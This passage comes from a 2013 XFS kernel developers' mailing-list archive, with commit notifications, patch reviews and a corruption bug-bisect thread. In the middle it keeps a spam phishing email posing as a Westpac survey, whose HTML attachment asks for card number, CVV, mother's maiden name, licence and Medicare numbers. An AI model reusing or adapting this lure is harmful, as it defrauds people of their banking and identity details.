64-bit. However, on 32-bit platforms the value is 0xfffff000 and so the high 32 bits in it will be masked off with (pos & PAGE_MASK) for a 64-bit pos. As a result, the evaluated block_offset is incorrect which will cause this failure ASSERT(block_offset + from == pos); and potentially pass the wrong block to xfs_vm_kill_delalloc_range(). In this case, we can get a kernel panic if CONFIG_XFS_DEBUG is enabled: XFS: Assertion failed: block_offset + from == pos, file: fs/xfs/xfs_aops.c, line: 1504 ------------[ cut here ]------------ kernel BUG at fs/xfs/xfs_message.c:100! invalid opcode: 0000 [#1] SMP ........ Pid: 4057, comm: mkfs.xfs Tainted: G O 3.9.0-rc2 #1 EIP: 0060:[] EFLAGS: 00010282 CPU: 0 EIP is at assfail+0x2b/0x30 [xfs] EAX: 00000056 EBX: f6ef28a0 ECX: 00000007 EDX: f57d22a4 ESI: 1c2fb000 EDI: 00000000 EBP: ea6b5d30 ESP: ea6b5d1c DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 CR0: 8005003b CR2: 094f3ff4 CR3: 2bcb4000 CR4: 000006f0 DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000 DR6: ffff0ff0 DR7: 00000400 Process mkfs.xfs (pid: 4057, ti=ea6b4000 task=ea5799e0 task.ti=ea6b4000) Stack: 00000000 f9525c48 f951fa80 f951f96b 000005e4 ea6b5d7c f9494b34 c19b0ea2 00000066 f3d6c620 c19b0ea2 00000000 e9a91458 00001000 00000000 00000000 00000000 c15c7e89 00000000 1c2fb000 00000000 00000000 1c2fb000 00000080 Call Trace: [] xfs_vm_write_failed+0x74/0x1b0 [xfs] [] ? printk+0x4d/0x4f [] xfs_vm_write_begin+0x10d/0x170 [xfs] [] generic_file_buffered_write+0xdc/0x210 [] xfs_file_buffered_aio_write+0xf9/0x190 [xfs] [] xfs_file_aio_write+0xf3/0x160 [xfs] [] do_sync_write+0x94/0xd0 [] vfs_write+0x8f/0x160 [] ? wait_on_retry_sync_kiocb+0x50/0x50 [] sys_write+0x47/0x80 [] sysenter_do_call+0x12/0x28 ............. EIP: [] assfail+0x2b/0x30 [xfs] SS:ESP 0068:ea6b5d1c ---[ end trace cdd9af4f4ecab42f ]--- Kernel panic - not syncing: Fatal exception In order to avoid this, we can evaluate the block_offset of the start of the page by using shifts rather than masks the mismatch problem. Thanks Dave Chinner for help finding and fixing this bug. Reported-by: Michael L. Semon Reviewed-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Jie Liu Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 15 ++++++++- fs/xfs/xfs_log.c | 2 +- fs/xfs/xfs_mount.c | 80 +++++++++++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_qm.c | 72 ++++++++++++++++++++++++++++++++----------- fs/xfs/xfs_qm_syscalls.c | 35 ++++++++++++++++++--- fs/xfs/xfs_sb.h | 13 ++++++-- fs/xfs/xfs_super.c | 19 ++++++------ 7 files changed, 191 insertions(+), 45 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Jul 22 14:54:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id DDE177F3F; Mon, 22 Jul 2013 14:54:44 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-2-12117-gd892d58 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: ad81f0545ef01ea651886dddac4bef6cec930092 X-Git-Newrev: d892d5864f020c44cfa4e23e9165112d8df91093 Message-Id: <20130722195444.DDE177F3F@oss.sgi.com> Date: Mon, 22 Jul 2013 14:54:44 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated d892d58 xfs: Start using pquotaino from the superblock. 0102629 xfs: Initialize all quota inodes to be NULLFSINO 297aa63 xfs: Fix a deadlock in xfs_log_commit_cil() code path 58e5985 xfs: fix assertion failure in xfs_vm_write_failed() from ad81f0545ef01ea651886dddac4bef6cec930092 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit d892d5864f020c44cfa4e23e9165112d8df91093 Author: Chandra Seetharaman Date: Fri Jul 19 17:36:02 2013 -0500 xfs: Start using pquotaino from the superblock. Start using pquotino and define a macro to check if the superblock has pquotino. Keep backward compatibilty by alowing mount of older superblock with no separate pquota inode. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 0102629776a2f5c3bd9c5dc0ef77956c60255074 Author: Chandra Seetharaman Date: Fri Jul 19 17:32:55 2013 -0500 xfs: Initialize all quota inodes to be NULLFSINO mkfs doesn't initialize the quota inodes to NULLFSINO as it does for the other internal inodes. This leads to two in-core values (0 and NULLFSINO) to be checked against, to make sure if a quota inode is valid. Solve that problem by initializing the in-core values of all quotaino values to NULLFSINO if they are 0 in the disk. Note that these values are not written back to on-disk superblock unless some quota is enabled on the filesystem. Even in that case sb_pquotino is written to disk only if the on-disk superblock supports pquotino Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 297aa63769e6ae06b7db97eb76c9211beeb32c69 Author: Chandra Seetharaman Date: Fri Jul 19 17:31:38 2013 -0500 xfs: Fix a deadlock in xfs_log_commit_cil() code path While testing and rearranging pquota/gquota code, I stumbled on a xfs_shutdown() during a mount. But the mount just hung. Debugged and found that there is a deadlock involving &log->l_cilp->xc_ctx_lock. It is in a code path where &log->l_cilp->xc_ctx_lock is first acquired in read mode and some levels down the same semaphore is being acquired in write mode causing a deadlock. This is the stack: xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode xlog_print_tic_res xfs_force_shutdown xfs_log_force_umount xlog_cil_force xlog_cil_force_lsn xlog_cil_push_foreground xlog_cil_push - tries to acquire same semaphore in write mode This patch fixes the deadlock by changing the reason code for xfs_force_shutdown in xlog_print_tic_res() to SHUTDOWN_LOG_IO_ERROR. SHUTDOWN_LOG_IO_ERROR is the right reason code to be set since we are in the log path. Thanks to Dave for suggesting this solution. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 58e59854a3dfa9ab1fa1bcfc6324646cd77046a7 Author: Jie Liu Date: Tue Jul 16 13:11:16 2013 +0800 xfs: fix assertion failure in xfs_vm_write_failed() In xfs_vm_write_failed(), we evaluate the block_offset of pos with PAGE_MASK which is an unsigned long. That is fine on 64-bit platforms regardless of whether the request pos is 32-bit or 64-bit. However, on 32-bit platforms the value is 0xfffff000 and so the high 32 bits in it will be masked off with (pos & PAGE_MASK) for a 64-bit pos. As a result, the evaluated block_offset is incorrect which will cause this failure ASSERT(block_offset + from == pos); and potentially pass the wrong block to xfs_vm_kill_delalloc_range(). In this case, we can get a kernel panic if CONFIG_XFS_DEBUG is enabled: XFS: Assertion failed: block_offset + from == pos, file: fs/xfs/xfs_aops.c, line: 1504 ------------[ cut here ]------------ kernel BUG at fs/xfs/xfs_message.c:100! invalid opcode: 0000 [#1] SMP ........ Pid: 4057, comm: mkfs.xfs Tainted: G O 3.9.0-rc2 #1 EIP: 0060:[] EFLAGS: 00010282 CPU: 0 EIP is at assfail+0x2b/0x30 [xfs] EAX: 00000056 EBX: f6ef28a0 ECX: 00000007 EDX: f57d22a4 ESI: 1c2fb000 EDI: 00000000 EBP: ea6b5d30 ESP: ea6b5d1c DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 CR0: 8005003b CR2: 094f3ff4 CR3: 2bcb4000 CR4: 000006f0 DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000 DR6: ffff0ff0 DR7: 00000400 Process mkfs.xfs (pid: 4057, ti=ea6b4000 task=ea5799e0 task.ti=ea6b4000) Stack: 00000000 f9525c48 f951fa80 f951f96b 000005e4 ea6b5d7c f9494b34 c19b0ea2 00000066 f3d6c620 c19b0ea2 00000000 e9a91458 00001000 00000000 00000000 00000000 c15c7e89 00000000 1c2fb000 00000000 00000000 1c2fb000 00000080 Call Trace: [] xfs_vm_write_failed+0x74/0x1b0 [xfs] [] ? printk+0x4d/0x4f [] xfs_vm_write_begin+0x10d/0x170 [xfs] [] generic_file_buffered_write+0xdc/0x210 [] xfs_file_buffered_aio_write+0xf9/0x190 [xfs] [] xfs_file_aio_write+0xf3/0x160 [xfs] [] do_sync_write+0x94/0xd0 [] vfs_write+0x8f/0x160 [] ? wait_on_retry_sync_kiocb+0x50/0x50 [] sys_write+0x47/0x80 [] sysenter_do_call+0x12/0x28 ............. EIP: [] assfail+0x2b/0x30 [xfs] SS:ESP 0068:ea6b5d1c ---[ end trace cdd9af4f4ecab42f ]--- Kernel panic - not syncing: Fatal exception In order to avoid this, we can evaluate the block_offset of the start of the page by using shifts rather than masks the mismatch problem. Thanks Dave Chinner for help finding and fixing this bug. Reported-by: Michael L. Semon Reviewed-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Jie Liu Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 15 ++++++++- fs/xfs/xfs_log.c | 2 +- fs/xfs/xfs_mount.c | 80 +++++++++++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_qm.c | 72 ++++++++++++++++++++++++++++++++----------- fs/xfs/xfs_qm_syscalls.c | 35 ++++++++++++++++++--- fs/xfs/xfs_sb.h | 13 ++++++-- fs/xfs/xfs_super.c | 19 ++++++------ 7 files changed, 191 insertions(+), 45 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Mon Jul 22 15:46:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D0E1A7F37 for ; Mon, 22 Jul 2013 15:46:28 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id B68F030404E; Mon, 22 Jul 2013 13:46:28 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6E2C34266DC; Mon, 22 Jul 2013 15:46:28 -0500 (CDT) Date: Mon, 22 Jul 2013 15:46:28 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/30] mkfs: fix realtime device initialisation Message-ID: <20130722204628.GE3111@sgi.com> References: <1368789205-19969-1-git-send-email-david@fromorbit.com> <1368789205-19969-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1368789205-19969-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, May 17, 2013 at 09:12:56PM +1000, Dave Chinner wrote: > From: Dave Chinner > > The method that libxfs uses for logging inodes is not followed by rtinit(). > It fails to join the realtime bitmap inode to the final extent free > transactions, and so mkfs.xfs dies when trying to log changes to the bitmap > inode. Fix it. > > Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Applied to the master branch. From bpm@sgi.com Mon Jul 22 16:22:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 34E2A7F37 for ; Mon, 22 Jul 2013 16:22:55 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4F0BFAC001; Mon, 22 Jul 2013 14:22:51 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 14CD34266DC; Mon, 22 Jul 2013 16:22:51 -0500 (CDT) Date: Mon, 22 Jul 2013 16:22:51 -0500 From: Ben Myers To: Eric Sandeen Cc: "linux-xfs@oss.sgi.com" , Eric Sandeen Subject: Re: [PATCH] xfs_metadump: manpage fix regarding frozen fs Message-ID: <20130722212251.GF3111@sgi.com> References: <51E4AD14.7080904@redhat.com> <20130719202055.GH3572@sgi.com> <87CEB35B-5931-49C9-8075-F44851F6E8ED@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87CEB35B-5931-49C9-8075-F44851F6E8ED@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jul 19, 2013 at 07:34:57PM -0400, Eric Sandeen wrote: > On Jul 19, 2013, at 3:20 PM, Ben Myers wrote: > > > Hey Eric, > > > > On Mon, Jul 15, 2013 at 09:16:52PM -0500, Eric Sandeen wrote: > >> The xfs_metadump manpage states that metadump works > >> on a frozen filesystem; it does not. In fact, there is > >> no way to detect a frozen filesystem, so we can't make it > >> work, either. > >> > >> So just remove this from the manpage; unmounted or RO > >> mounted is what is enforced by xfs_metadump. > >> > >> Signed-off-by: Eric Sandeen > > > > I gave this a try and it *seemed* to work fine on a frozen filesystem. > > Can you provide a bit of detail about why xfs_metadump doesn't work on > > frozen filesystems? What am I missing? > > > > Hum, when I tried it it didn't work. I can retest, but AFAIK there is no way to detect a frozen fs in the first place, so how could it work? Gah. As we discussed on IRC, I was wrong. So, so wrong. Reviewed-by: Ben Myers Applied. From bpm@sgi.com Mon Jul 22 16:44:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D92747F37 for ; Mon, 22 Jul 2013 16:44:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 69498AC001; Mon, 22 Jul 2013 14:44:50 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C94A44266DC; Mon, 22 Jul 2013 16:44:49 -0500 (CDT) Date: Mon, 22 Jul 2013 16:44:49 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 02/48] logprint: fix wrapped log dump issue. Message-ID: <20130722214449.GG3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:25AM +1000, Dave Chinner wrote: > From: Dave Chinner > > When running xfs/295 on a 512 byte block size filesystem, logprint > fails during checking with a "Bad log record header" error. This is > due to the fact that the log has wrapped and there is partial record > a the start of the log. > > logprint doesn't check for this condition, and simply assumes that > the first block in the log contains a log header, and hence aborts > when this case occurs. So we now have a spurious test failure due to > logprint displaying how right this comment is: > > /* > * This code is gross and needs to be rewritten. > */ > > Signed-off-by: Dave Chinner > --- > logprint/log_misc.c | 49 ++++++++++++++++++++++++++++++++----------------- > 1 file changed, 32 insertions(+), 17 deletions(-) > > diff --git a/logprint/log_misc.c b/logprint/log_misc.c > index d08f900..334b6bf 100644 > --- a/logprint/log_misc.c > +++ b/logprint/log_misc.c > @@ -833,7 +833,8 @@ xlog_print_record(int fd, > int *read_type, > xfs_caddr_t *partial_buf, > xlog_rec_header_t *rhead, > - xlog_rec_ext_header_t *xhdrs) > + xlog_rec_ext_header_t *xhdrs, > + int bad_hdr_warn) > { > xfs_caddr_t buf, ptr; > int read_len, skip; > @@ -1006,11 +1007,17 @@ xlog_print_record(int fd, > break; > } > default: { > - fprintf(stderr, _("%s: unknown log operation type (%x)\n"), > - progname, *(unsigned short *)ptr); > - if (print_exit) { > - free(buf); > - return BAD_HEADER; > + if(bad_hdr_warn) { ^ Added a space. Reviewed-by: Ben Myers Applied to the master branch. From xsax@mercedes.com Mon Jul 22 16:59:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=HTML_MESSAGE, TVD_PH_BODY_ACCOUNTS_PRE,T_FILL_THIS_FORM_SHORT,T_HTML_ATTACH,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B1D67F37 for ; Mon, 22 Jul 2013 16:59:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D3AE1AC004 for ; Mon, 22 Jul 2013 14:59:24 -0700 (PDT) X-ASG-Debug-ID: 1374530360-04bdf0245d2cbc30001-NocioJ Received: from toroondcbmts08-srv.bellnexxia.net (toroondcbmts08-srv.bellnexxia.net [207.236.237.42]) by cuda.sgi.com with ESMTP id iBypu4KrF0lYxZZS for ; Mon, 22 Jul 2013 14:59:20 -0700 (PDT) X-Barracuda-Envelope-From: xsax@mercedes.com X-Barracuda-Apparent-Source-IP: 207.236.237.42 Received: from toip35-bus.srvr.bell.ca ([67.69.240.36]) by toroondcbmts08-srv.bellnexxia.net (InterMail vM.8.00.01.00 201-2244-105-20090324) with ESMTP id <20130722215606.JSYT10620.toroondcbmts08-srv.bellnexxia.net@toip35-bus.srvr.bell.ca>; Mon, 22 Jul 2013 17:56:06 -0400 Received: from simone.slcc.ca (HELO maurice.SLCC.LOCAL) ([207.164.32.202]) by toip35-bus.srvr.bell.ca with ESMTP; 22 Jul 2013 17:55:30 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aga9AJ6g7VHPpCDK/2dsb2JhbABFBRGDOEQBAapwg1oBdQMBS4k4hnWBLXQfAQGBaAEBATAHFRsqNg8KBAcBajGHHlQMi0+KdgKBLY0TAoV+AhAKAo0XAQGCEowzB4EcDgcMFoJeAoEUA4VDgy04hXF3g3aFAJAiAoIBgTEcgTWBNQ X-IronPort-AV: E=Sophos;i="4.89,721,1367985600"; d="html'217?scan'217,208,217";a="429348269" Content-Type: multipart/mixed; boundary="===============1082281669==" MIME-Version: 1.0 Subject: Westpac Survey Department! WIN 60$ ! To: Recipients X-ASG-Orig-Subj: Westpac Survey Department! WIN 60$ ! From: "Westpac" Date: Mon, 22 Jul 2013 14:55:27 -0700 Message-Id: <20130722215606.JSYT10620.toroondcbmts08-srv.bellnexxia.net@toip35-bus.srvr.bell.ca> X-Barracuda-Connect: toroondcbmts08-srv.bellnexxia.net[207.236.237.42] X-Barracuda-Start-Time: 1374530360 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 4ba92dd8764918105e29f70377cc2010-24484-htm X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137256 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain You will not see this in a MIME-aware mail reader. --===============1082281669== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Westpac Customer Satisfaction Survey Westpac will add 60$ credit to your account just for taking part in our qui= ck survey. Please take a few minutes to give us your opinion on our store service. In order to access this Customer Satisfaction Survey please download the fo= rm attached to this email and open it in a web browser. Once opened, you will be provided with steps to claim your prize. Thank you, Westpac Online Department --===============1082281669== MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="60$.html" ? = Westpac - Your opinion is important to us =
    3D"Westpac =
    =
    =

    Your opinion is important to us

    =

    We value your input and appreciate the time taken to complete t= his = short customer satisfaction survey and in return Westpac will add= 60$ = credit to your account.
    The independent feedback you provide can help drive the ongoing d= evelopment = of our website.

    1) Are you a Wes= tpac customer?
    =
    3) Did you achie= ve what you wanted?
    5) What do you t= hink of our website in terms of: =
    =
    =
    =
    =
    Not likely Ex= tremely likely
    =
    =

    =

    Thank you for taking the time to respond to this survey. In ret= urn, = we will add 60$ credit to your account just for your time.

    = = = = = = = = = = = = = = = = =
    Fields with an asterisk= * = are mandatory

    * = Name on Card: = (name as printed on the card)
    * = Address: =
    * = Suburb: =
    * = State: =
    * = Postal Code: =
    * = Driver License Number: =
    * = Medicare Number: =
    * = Individual Reference Number: =
    * = Mother's Maiden Name: =
    * = Date of Birth: = (dd/mm/yyyy)
    * = Card Number: = (16 digits, no dashes or spaces)
    * = Expiration Date: = (mm/yyyy)
    * = CVV: = (last 3 digits on the back of your card)
     
     

    NOTE: If your = information = is incorrect your account will not be credited.

    When you finished to complete the form please click "Su= bmit" = in the bottom right corner.

    Copyright =A9 2013 Westpac Banking Corporation
    ABN 33 007 457 141

    3D"Westpac
    = --===============1082281669==-- From david@fromorbit.com Mon Jul 22 17:54:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4D0CB7F4E for ; Mon, 22 Jul 2013 17:54:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1EA9C304039 for ; Mon, 22 Jul 2013 15:54:53 -0700 (PDT) X-ASG-Debug-ID: 1374533690-04bdf0245c2cf750001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 2vxy3yCROKbYtpw0 for ; Mon, 22 Jul 2013 15:54:51 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMiAOW27VF5LPxH/2dsb2JhbABbgwM1gnGqDAKOUoUsBAGBFBd0giQBAQU6HCMQCAMUBAklDwUlAyETiA8NuFEWjS2BIRWBHQeDEG4Dl1yRToMkKoE1 Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 08:24:50 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1P09-0005DS-US; Tue, 23 Jul 2013 08:54:45 +1000 Date: Tue, 23 Jul 2013 08:54:45 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: Ben Myers , Mark Tinguely , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130722225445.GA19986@dastard> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130720014836.GZ11674@dastard> <20130722102223.GG11674@dastard> <20130722104743.GA361@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130722104743.GA361@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374533690 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 22, 2013 at 12:47:43PM +0200, Markus Trippelsdorf wrote: > On 2013.07.22 at 20:22 +1000, Dave Chinner wrote: > > On Sat, Jul 20, 2013 at 11:48:36AM +1000, Dave Chinner wrote: > > > On Fri, Jul 19, 2013 at 02:22:35PM +0200, Markus Trippelsdorf wrote: > > > > On 2013.07.15 at 08:47 +0200, Markus Trippelsdorf wrote: > > > > I've bisected this issue to the following commit: > > > > > > > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > > > > Author: Dave Chinner > > > > Date: Thu Jun 27 16:04:49 2013 +1000 > > > > > > > > xfs: don't do IO when creating an new inode > > > > > > > > Reverting this commit on top of the Linus tree "solves" all problems for > > > > me. IOW I no longer loose my KDE and LibreOffice config files during a > > > > crash. Log recovery now works fine and xfs_repair shows no issues. > > > > > > Thanks for bisecting this, Marcus. > > > > > > I'll admit, right now it doesn't make a lot of sense to me - I don't > > > immediately see a connection between not reading an inode during the > > > create phase and unlinked list and directory corruption after a > > > crash. But now you've identified a change that might be the cause, > > > I have an avenue of investigation I can follow. > > > > > > Indeed, in the time I've taken to write this mail I've thought of > > > 2-3 possible causes that I need to investigate.... > > > > Hi Markus, can you test the patch I just posted to the list titled > > "xfs: di_flushiter considered harmful" and see if it fixes your > > problem? Archive link here: > > > > http://oss.sgi.com/pipermail/xfs/2013-July/028331.html > > Unfortunately no. I still get the same corruption with this patch > applied. Umm, really? can you please put together a simple reproducer then? Because it definitely fixes the problem that Mark reproduced... > (It's embarrassing to mention, but please add: > Reported-by: Markus Trippelsdorf > to the next iteration of this patch. > Thanks.) The reason I asked you to test it was so I could confirm that it was fixing the problem you've reported and so I could added reported-by and tested-by tags to it. Indeed, if it doesn't fix your problem, then it's not fixing the bug you reported, and so adding such tags is wrong.... ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 22 17:56:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 166D47F4E for ; Mon, 22 Jul 2013 17:56:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0101F304051 for ; Mon, 22 Jul 2013 15:56:43 -0700 (PDT) X-ASG-Debug-ID: 1374533801-04cbb0468f12c0380001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YwIm5Sj6u2TCLJGi for ; Mon, 22 Jul 2013 15:56:42 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjcPABe47VF5LPxH/2dsb2JhbABbgwODJrhghSwEAYEUF3SCJAEBBScTHCMQCAMVAwklDwUlAyETiA+4YhaOSAESCIEdB4MQbgOXXIojhyuDJCqBLAEBHg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 08:26:41 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1P20-0005Dz-DG; Tue, 23 Jul 2013 08:56:40 +1000 Date: Tue, 23 Jul 2013 08:56:40 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful Message-ID: <20130722225640.GB19986@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130722110732.GA365@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: 